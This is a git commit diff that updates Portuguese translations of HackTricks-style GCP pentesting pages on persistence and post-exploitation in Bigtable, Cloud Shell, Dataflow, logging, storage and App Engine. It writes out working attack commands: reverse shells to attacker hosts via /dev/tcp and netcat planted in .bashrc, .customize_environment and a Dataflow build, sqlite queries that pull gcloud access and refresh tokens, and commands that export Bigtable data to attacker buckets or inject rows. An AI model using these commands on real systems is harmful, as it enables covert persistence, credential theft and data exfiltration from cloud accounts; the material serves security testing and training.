Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-loggi

This commit is contained in:
Translator
2025-11-22 20:02:07 +00:00
parent c2b779d5da
commit ca6c9b638f
51 changed files with 2606 additions and 698 deletions

View File

@@ -4,17 +4,21 @@
## Bigtable
Para mais informações sobre Bigtable verifique:
Para mais informações sobre o Bigtable confira:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### App Profile dedicado do atacante
### Perfil de App dedicado ao atacante
**Permissões:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Crie um App Profile que direcione o tráfego para seu cluster de réplica e habilite o Data Boost para que você nunca dependa de nós provisionados que os defensores possam notar.
Crie um app profile que roteie o tráfego para seu replica cluster e habilite o Data Boost, assim você nunca dependerá de provisioned nodes que defensores possam perceber.
<details>
<summary>Criar app profile furtivo</summary>
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Enquanto este perfil existir, você pode reconectar usando credenciais novas que o referenciam.
</details>
Enquanto esse perfil existir você pode reconectar usando credenciais novas que o referenciam.
### Mantenha seu próprio cluster de réplica
**Permissões:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Provisione um cluster com número mínimo de nós em uma região pouco movimentada. Mesmo que suas identidades de cliente desapareçam, **o cluster mantém uma cópia completa de cada tabela** até que os defensores as removam explicitamente.
Provisione um cluster com contagem mínima de nós em uma região tranquila. Mesmo que suas identidades de cliente desapareçam, **o cluster mantém uma cópia completa de cada tabela** até que os defensores a removam explicitamente.
<details>
<summary>Criar cluster de réplica</summary>
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Monitore-o através de `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` para que você possa escalar instantaneamente quando precisar extrair dados.
</details>
### Bloqueie a replicação usando seu próprio CMEK
Monitore-o através de `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` para poder escalá-lo instantaneamente quando precisar puxar dados.
### Bloqueie a replicação com seu próprio CMEK
**Permissões:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
Traga sua própria KMS key ao criar um clone. Sem essa chave, Google não pode recriar nem fazer failover do cluster, então as blue teams devem coordenar com você antes de mexer nele.
Traga sua própria chave KMS ao criar um clone. Sem essa chave, Google não consegue recriar nem executar failover no cluster, então blue teams precisam coordenar com você antes de intervir.
<details>
<summary>Criar cluster protegido por CMEK</summary>
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Rotacione ou desative a chave no seu projeto para inutilizar instantaneamente a réplica (enquanto ainda permite que você a reative mais tarde).
</details>
Rotacione ou desative a chave no seu projeto para inutilizar instantaneamente a réplica (ainda permitindo que você a reative depois).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Persistência do Cloud Shell
# GCP - Cloud Shell Persistence
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,46 +10,64 @@ Para mais informações, consulte:
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Backdoor Persistente
### Persistent Backdoor
[**Google Cloud Shell**](https://cloud.google.com/shell/) fornece acesso à linha de comando aos seus recursos de nuvem diretamente do seu navegador sem nenhum custo associado.
[**Google Cloud Shell**](https://cloud.google.com/shell/) fornece acesso por linha de comando aos seus recursos na nuvem diretamente do navegador, sem qualquer custo associado.
Você pode acessar o Cloud Shell do Google pela **console web** ou executando **`gcloud cloud-shell ssh`**.
Você pode acessar o Cloud Shell do Google pelo **console web** ou executando **`gcloud cloud-shell ssh`**.
Esta console tem algumas capacidades interessantes para atacantes:
Este console tem algumas capacidades interessantes para atacantes:
1. **Qualquer usuário do Google com acesso ao Google Cloud** tem acesso a uma instância do Cloud Shell totalmente autenticada (Contas de Serviço podem, mesmo sendo Proprietários da organização).
2. Dita instância **manterá seu diretório home por pelo menos 120 dias** se nenhuma atividade ocorrer.
3. Não há **capacidades para uma organização monitorar** a atividade dessa instância.
1. **Any Google user with access to Google Cloud** tem acesso a uma instância do Cloud Shell totalmente autenticada (Service Accounts can, even being Owners of the org).
2. Essa instância **manterá seu diretório home por pelo menos 120 dias** caso não haja atividade.
3. **Não há capacidades para uma organização monitorar** a atividade dessa instância.
Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell a cada 120 dias pelo menos, o backdoor sobreviverá e o atacante obterá um shell toda vez que for executado apenas fazendo:
Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell pelo menos a cada 120 dias, o backdoor sobreviverá e o atacante obterá um shell sempre que ele for executado apenas fazendo:
<details>
<summary>Add reverse shell to .bashrc</summary>
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
Há outro arquivo na pasta inicial chamado **`.customize_environment`** que, se existir, será **executado toda vez** que o usuário acessar o **cloud shell** (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter a persistência enquanto o usuário usar "frequentemente" o cloud shell:
</details>
Existe outro arquivo na pasta home chamado **`.customize_environment`** que, se existir, será **executado toda vez** que o usuário acessar o **cloud shell** (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter persistência enquanto o usuário usar "frequentemente" o cloud shell:
<details>
<summary>Criar backdoor .customize_environment</summary>
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> É importante notar que a **primeira vez que uma ação que requer autenticação é realizada**, uma janela de autorização pop-up aparece no navegador do usuário. Esta janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência sendo utilizado.
</details>
Este é o pop-up da execução de `gcloud projects list` a partir do cloud shell (como atacante) visualizado na sessão do navegador do usuário:
> [!WARNING]
> É importante notar que a **primeira vez que uma ação que requer autenticação é executada**, uma janela de autorização pop-up aparece no navegador do usuário. Essa janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência em uso.
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
No entanto, se o usuário tiver usado ativamente o cloudshell, o pop-up não aparecerá e você pode **coletar tokens do usuário com**:
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **coletar tokens do usuário com**:
<details>
<summary>Obter access tokens do Cloud Shell</summary>
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
</details>
#### Como a conexão SSH é estabelecida
Basicamente, essas 3 chamadas de API são usadas:
Basicamente, estas 3 chamadas de API são usadas:
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (fa você adicionar sua chave pública que você criou localmente)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (fará você iniciar a instância)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (faz com que você adicione sua chave pública criada localmente)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (inicia a instância)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (informará o IP do Google Cloud Shell)
Mas você pode encontrar mais informações em [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

View File

@@ -1,12 +1,16 @@
# GCP - Persistência do Dataflow
# GCP - Dataflow Persistência
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
### Persistência invisível em contêineres construídos
### Persistência invisível em container construído
Seguindo o [**tutorial da documentação**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), você pode criar um novo template flex (por exemplo, python):
Seguindo o [**tutorial da documentação**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) você pode criar um novo flex template (por exemplo, python):
<details>
<summary>Criar flex template do Dataflow com backdoor</summary>
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**Enquanto está sendo construído, você receberá um shell reverso** (você pode abusar de variáveis de ambiente como no exemplo anterior ou outros parâmetros que definem o arquivo Docker para executar coisas arbitrárias). Neste momento, dentro do shell reverso, é possível **ir para o diretório `/template` e modificar o código do script python principal que será executado (no nosso exemplo, este é `getting_started.py`)**. Defina sua porta dos fundos aqui para que toda vez que o trabalho for executado, ele a execute.
</details>
Então, da próxima vez que o trabalho for executado, o contêiner comprometido construído será executado:
**Enquanto estiver sendo construído, você obterá um reverse shell** (você pode abusar de env variables como no exemplo anterior ou de outros params que definem o Docker file para executar coisas arbitrárias). Nesse momento, dentro do reverse shell, é possível **navegar até o diretório `/template` e modificar o código do script principal em python que será executado (no nosso exemplo este é `getting_started.py`)**. Coloque seu backdoor aqui para que, toda vez que o job for executado, ele o execute.
Então, na próxima vez que o job for executado, o container comprometido construído será executado:
<details>
<summary>Executar Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Persistência de Logs
# GCP - Persistência de Logging
{{#include ../../../banners/hacktricks-training.md}}
## Logs
## Logging
Encontre mais informações sobre Logs em:
Encontre mais informações sobre Logging em:
{{#ref}}
../gcp-services/gcp-logging-enum.md
@@ -13,7 +13,13 @@ Encontre mais informações sobre Logs em:
### `logging.sinks.create`
Crie um sink para exfiltrar os logs para um destino acessível ao atacante:
<details>
<summary>Criar logging sink</summary>
```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,50 +2,78 @@
{{#include ../../../banners/hacktricks-training.md}}
### Tokens de Usuário Autenticados
### Tokens de Usuários Autenticados
Para obter o **token atual** de um usuário, você pode executar:
Para obter o **current token** de um usuário, você pode executar:
<details>
<summary>Obter access token do banco de dados SQLite</summary>
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Verifique nesta página como **usar diretamente este token usando gcloud**:
</details>
Veja nesta página como **usar diretamente este token com gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Para obter os detalhes para **gerar um novo token de acesso**, execute:
Para obter os detalhes para **gerar um novo access token**, execute:
<details>
<summary>Obter refresh token do banco de dados SQLite</summary>
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Também é possível encontrar tokens de atualização em **`$HOME/.config/gcloud/application_default_credentials.json`** e em **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
</details>
Para obter um novo token de acesso atualizado com o **token de atualização**, ID do cliente e segredo do cliente, execute:
Também é possível encontrar refresh tokens em **`$HOME/.config/gcloud/application_default_credentials.json`** e em **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Para obter um novo access token renovado com o **refresh token**, client ID e client secret, execute:
<details>
<summary>Obter novo access token usando refresh token</summary>
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
A validade dos tokens de atualização pode ser gerenciada em **Admin** > **Security** > **Google Cloud session control**, e por padrão está definida para 16h, embora possa ser configurada para nunca expirar:
</details>
A validade dos refresh tokens pode ser gerenciada em **Admin** > **Security** > **Google Cloud session control**, e por padrão está definida para 16h embora possa ser definida para nunca expirar:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Fluxo de autenticação
O fluxo de autenticação ao usar algo como `gcloud auth login` abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:
O fluxo de autenticação ao usar algo como `gcloud auth login` abrirá um prompt no navegador e, após aceitar todos os scopes, o navegador enviará uma requisição como esta para a porta http aberta pela ferramenta:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Então, o gcloud usará o estado e o código com um `client_id` (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) codificados para obter os **dados finais do token de atualização**.
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
> [!CAUTION]
> Note que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um token de atualização, no entanto, esses dados são válidos apenas 1 vez, então isso seria inútil, é mais fácil apenas ler o token de atualização do arquivo.
> Observe que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um refresh token; no entanto, esses dados são válidos apenas uma vez, portanto isso seria inútil é mais fácil simplesmente ler o refresh token do arquivo.
### Escopos OAuth
Você pode encontrar todos os escopos do Google em [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou obtê-los executando:
<details>
<summary>Obter todos os escopos OAuth do Google</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
É possível ver quais escopos o aplicativo que **`gcloud`** usa para autenticar pode suportar com este script:
</details>
É possível ver quais escopos a aplicação que **`gcloud`** usa para autenticar pode suportar com este script:
<details>
<summary>Testar escopos suportados para gcloud</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +83,9 @@ echo $scope
fi
done
```
Após a execução, foi verificado que este aplicativo suporta estes escopos:
</details>
Após executá-lo, foi verificado que este app suporta estes scopes:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
é interessante ver como este aplicativo suporta o **`drive`** scope, o que poderia permitir que um usuário escalasse do GCP para o Workspace se um atacante conseguisse forçar o usuário a gerar um token com esse escopo.
É interessante ver como esta aplicação suporta o escopo **`drive`**, o que poderia permitir a um usuário escalar de GCP para Workspace se um atacante conseguir forçar o usuário a gerar um token com esse escopo.
**Verifique como** [**abusar disso aqui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
**Veja como** [**abusar disso aqui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Contas de Serviço
Assim como com usuários autenticados, se você conseguir **comprometer o arquivo de chave privada** de uma conta de serviço, você poderá **acessá-la geralmente pelo tempo que quiser**.\
No entanto, se você roubar o **token OAuth** de uma conta de serviço, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a **vítima excluir a chave da API privada, o token OAuth ainda será válido até expirar**.
Assim como com usuários autenticados, se você conseguir **comprometer o arquivo de chave privada** de uma conta de serviço você poderá **acessá-la normalmente pelo tempo que quiser**.\
No entanto, se você roubar o **OAuth token** de uma conta de serviço isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a **vítima apagar a chave de API privada, o OAuth token ainda permanecerá válido até expirar**.
### Metadados
Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP, você poderá **acessar a conta de serviço anexada a essa máquina contatando o endpoint de metadados** (note que os tokens OAuth que você pode acessar neste endpoint geralmente são restritos por escopos).
Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP você poderá **acessar a conta de serviço vinculada a essa máquina consultando o endpoint de metadata** (observe que os tokens OAuth que você pode acessar neste endpoint geralmente estão restritos por escopos).
### Remediações
### Mitigações
Algumas remediações para essas técnicas são explicadas em [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
Algumas mitigações para essas técnicas são explicadas em [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Referências

View File

@@ -1,10 +1,10 @@
# GCP - Persistência de Armazenamento
# GCP - Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Armazenamento
## Storage
Para mais informações sobre o Cloud Storage, consulte:
Para mais informações sobre Cloud Storage consulte:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,7 +12,11 @@ Para mais informações sobre o Cloud Storage, consulte:
### `storage.hmacKeys.create`
Você pode criar um HMAC para manter a persistência em um bucket. Para mais informações sobre esta técnica [**verifique aqui**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
Você pode criar um HMAC para manter persistência em um bucket. Para mais informações sobre esta técnica [**veja aqui**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
<details>
<summary>Criar e usar HMAC key para acesso ao Storage</summary>
```bash
# Create key
gsutil hmac create <sa-email>
@@ -23,11 +27,13 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
Outro script de exploit para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
</details>
### Dar Acesso Público
Outro script de exploit para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
**Tornar um bucket acessível publicamente** é outra maneira de manter o acesso ao bucket. Verifique como fazer isso em:
### Conceder Acesso Público
**Tornar um bucket publicamente acessível** é outra forma de manter acesso ao bucket. Veja como fazer em:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md

View File

@@ -1,10 +1,10 @@
# GCP - App Engine Pós Exploração
# GCP - App Engine Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## `App Engine`
Para informações sobre o App Engine, consulte:
Para informações sobre o App Engine veja:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,30 +12,36 @@ Para informações sobre o App Engine, consulte:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
Com essas permissões, é possível:
Com essas permissões é possível:
- Adicionar uma chave
- Listar chaves
- Obter uma chave
- Deletar
- Excluir
> [!CAUTION]
> No entanto, eu **não consegui encontrar nenhuma maneira de acessar essas informações pelo cli**, apenas pela **console web**, onde você precisa saber o **tipo de chave** e o **nome da chave**, ou de um **app engine em execução**.
> Entretanto, eu **não consegui encontrar nenhuma forma de acessar essa informação pelo cli**, apenas pela **web console**, onde você precisa saber o **tipo de chave** e o **nome da chave**, ou a**aplicação em execução no App Engine**.
>
> Se você souber maneiras mais fáceis de usar essas permissões, envie um Pull Request!
> Se você conhece maneiras mais fáceis de usar essas permissões, envie um Pull Request!
### `logging.views.access`
Com esta permissão, é possível **ver os logs do App**:
Com essa permissão é possível **ver os logs da aplicação**:
<details>
<summary>Acompanhar logs da aplicação</summary>
```bash
gcloud app logs tail -s <name>
```
### Ler Código Fonte
</details>
O código fonte de todas as versões e serviços está **armazenado no bucket** com o nome **`staging.<proj-id>.appspot.com`**. Se você tiver acesso de escrita sobre ele, pode ler o código fonte e procurar por **vulnerabilidades** e **informações sensíveis**.
### Ler o Código Fonte
### Modificar Código Fonte
O código-fonte de todas as versões e serviços está **armazenado no bucket** com o nome **`staging.<proj-id>.appspot.com`**. Se você tiver acesso de gravação a ele, pode ler o código-fonte e procurar por **vulnerabilidades** e **informações sensíveis**.
Modifique o código fonte para roubar credenciais se elas estiverem sendo enviadas ou realizar um ataque de defacement na web.
### Modificar o Código Fonte
Modifique o código-fonte para roubar credenciais caso elas estejam sendo enviadas ou para realizar um ataque de defacement no site.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Bigtable
Para mais informações sobre Bigtable confira:
For more information about Bigtable check:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
@@ -13,28 +13,44 @@ Para mais informações sobre Bigtable confira:
> [!TIP]
> Instale o `cbt` CLI uma vez via o Cloud SDK para que os comandos abaixo funcionem localmente:
>
> <details>
>
> <summary>Instale o cbt CLI</summary>
>
> ```bash
> gcloud components install cbt
> ```
>
> </details>
### Ler linhas
**Permissões:** `bigtable.tables.readRows`
O cbt vem com o Cloud SDK e comunica-se com as APIs de administração e de dados sem precisar de qualquer middleware. Aponte-o para o projeto/instância comprometida e extraia as linhas diretamente da tabela. Limite a varredura se precisar apenas de uma olhada.
`cbt` vem com o Cloud SDK e se comunica com as APIs de administração/dados sem precisar de middleware. Aponte-o para o projeto/instância comprometida e descarregue as linhas diretamente da tabela. Limite a varredura se você só precisar de uma olhada.
<details>
<summary>Ler entradas do Bigtable</summary>
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
</details>
### Escrever linhas
**Permissões:** `bigtable.tables.mutateRows`, (você precisará de `bigtable.tables.readRows` para confirmar a alteração).
Use a mesma ferramenta para upsert células arbitrárias. Esta é a forma mais rápida de backdoor configs, drop web shells, ou plant poisoned dataset rows.
Use a mesma ferramenta para inserir/atualizar (upsert) células arbitrárias. Esta é a maneira mais rápida de backdoor configs, drop web shells, ou plant poisoned dataset rows.
<details>
<summary>Injetar linha maliciosa</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` aceita bytes brutos via a sintaxe `@/path`, então você pode enviar payloads compilados ou protobufs serializados exatamente como os serviços downstream esperam.
</details>
`cbt set` aceita bytes brutos via a sintaxe `@/path`, assim você pode enviar payloads compilados ou protobufs serializados exatamente como os serviços downstream esperam.
### Exportar linhas para seu bucket
**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
É possível exfiltrar o conteúdo de uma tabela inteira para um bucket controlado pelo atacante iniciando um job do Dataflow que transmite linhas para um bucket GCS que você controla.
É possível exfiltrar o conteúdo de uma tabela inteira para um bucket controlado pelo atacante iniciando um job do Dataflow que transmite as linhas para um bucket GCS que você controla.
> [!NOTE]
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre alguma SA com permissões suficientes para realizar a exportação (por padrão, a menos que indicado o contrário, a compute SA padrão será usada).
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre algum SA com permissões suficientes para realizar a exportação (por padrão, se não indicado de outra forma, o compute SA padrão será usado).
<details>
<summary>Exportar Bigtable para um bucket GCS</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>
> [!NOTE]
> Altere o template para `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` se quiser saídas Parquet/SequenceFile em vez de JSON. As permissões são as mesmas; apenas o caminho do template muda.
> Altere o template para `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` se quiser saídas Parquet/SequenceFile em vez de JSON. As permissões são as mesmas; somente o caminho do template muda.
### Import rows
### Importar linhas
**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
É possível importar o conteúdo de uma tabela inteira a partir de um bucket controlado pelo atacante iniciando um job do Dataflow que transmite rows para um GCS bucket que você controla. Para isso, o atacante precisará primeiro criar um arquivo parquet com os dados a serem importados no esquema esperado. Um atacante poderia primeiro exportar os dados em formato parquet seguindo a técnica anterior com a configuração `Cloud_Bigtable_to_GCS_Parquet` e adicionar novas entradas no arquivo parquet baixado
É possível importar o conteúdo de uma tabela inteira de um bucket controlado pelo atacante lançando um job do Dataflow que faz stream de linhas para um bucket GCS que você controla. Para isso o atacante precisará primeiro criar um arquivo parquet com os dados a serem importados no schema esperado. Um atacante pode primeiro exportar os dados em formato parquet seguindo a técnica anterior com a configuração `Cloud_Bigtable_to_GCS_Parquet` e adicionar novas entradas no arquivo parquet baixado
> [!NOTE]
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre alguma conta de serviço (SA) com permissões suficientes para realizar a exportação (por padrão, se não indicado o contrário, a SA de compute padrão será usada).
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre alguma SA com permissões suficientes para realizar a exportação (por padrão, se não indicado o contrário, a SA de compute padrão será usada).
<details>
<summary>Importar do bucket GCS para Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>
### Restaurando backups
**Permissões:** `bigtable.backups.restore`, `bigtable.tables.create`.
Um atacante com essas permissões pode restaurar um backup em uma nova tabela sob seu controle para recuperar dados sensíveis antigos.
<details>
<summary>Restaurar backup do Bigtable</summary>
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
</details>
### Restaurar tabelas
**Permissões:** `bigtable.tables.undelete`
**Permissions:** `bigtable.tables.undelete`
Bigtable suporta exclusão com retenção (soft-deletion) com um período de carência (normalmente 7 dias por padrão). Durante essa janela, um atacante com a permissão `bigtable.tables.undelete` pode restaurar uma tabela recentemente deletada e recuperar todos os seus dados, potencialmente acessando informações sensíveis que se pensava terem sido destruídas.
Bigtable oferece exclusão lógica com um período de carência (normalmente 7 dias por padrão). Durante essa janela, um atacante com a permissão `bigtable.tables.undelete` pode restaurar uma tabela recentemente excluída e recuperar todos os seus dados, potencialmente acessando informações sensíveis que se pensava terem sido destruídas.
Isso é particularmente útil para:
- Recuperar dados de tabelas deletadas por defensores durante a resposta a incidentes
- Acessar dados históricos que foram removidos intencionalmente
- Reverter deleções acidentais ou maliciosas para manter persistência
Isto é particularmente útil para:
- Recuperar dados de tabelas excluídas por defensores durante resposta a incidentes
- Acessar dados históricos que foram eliminados intencionalmente
- Reverter exclusões acidentais ou maliciosas para manter persistência
<details>
<summary>Restaurar tabela do Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
gcloud bigtable instances tables undelete <table-id> \
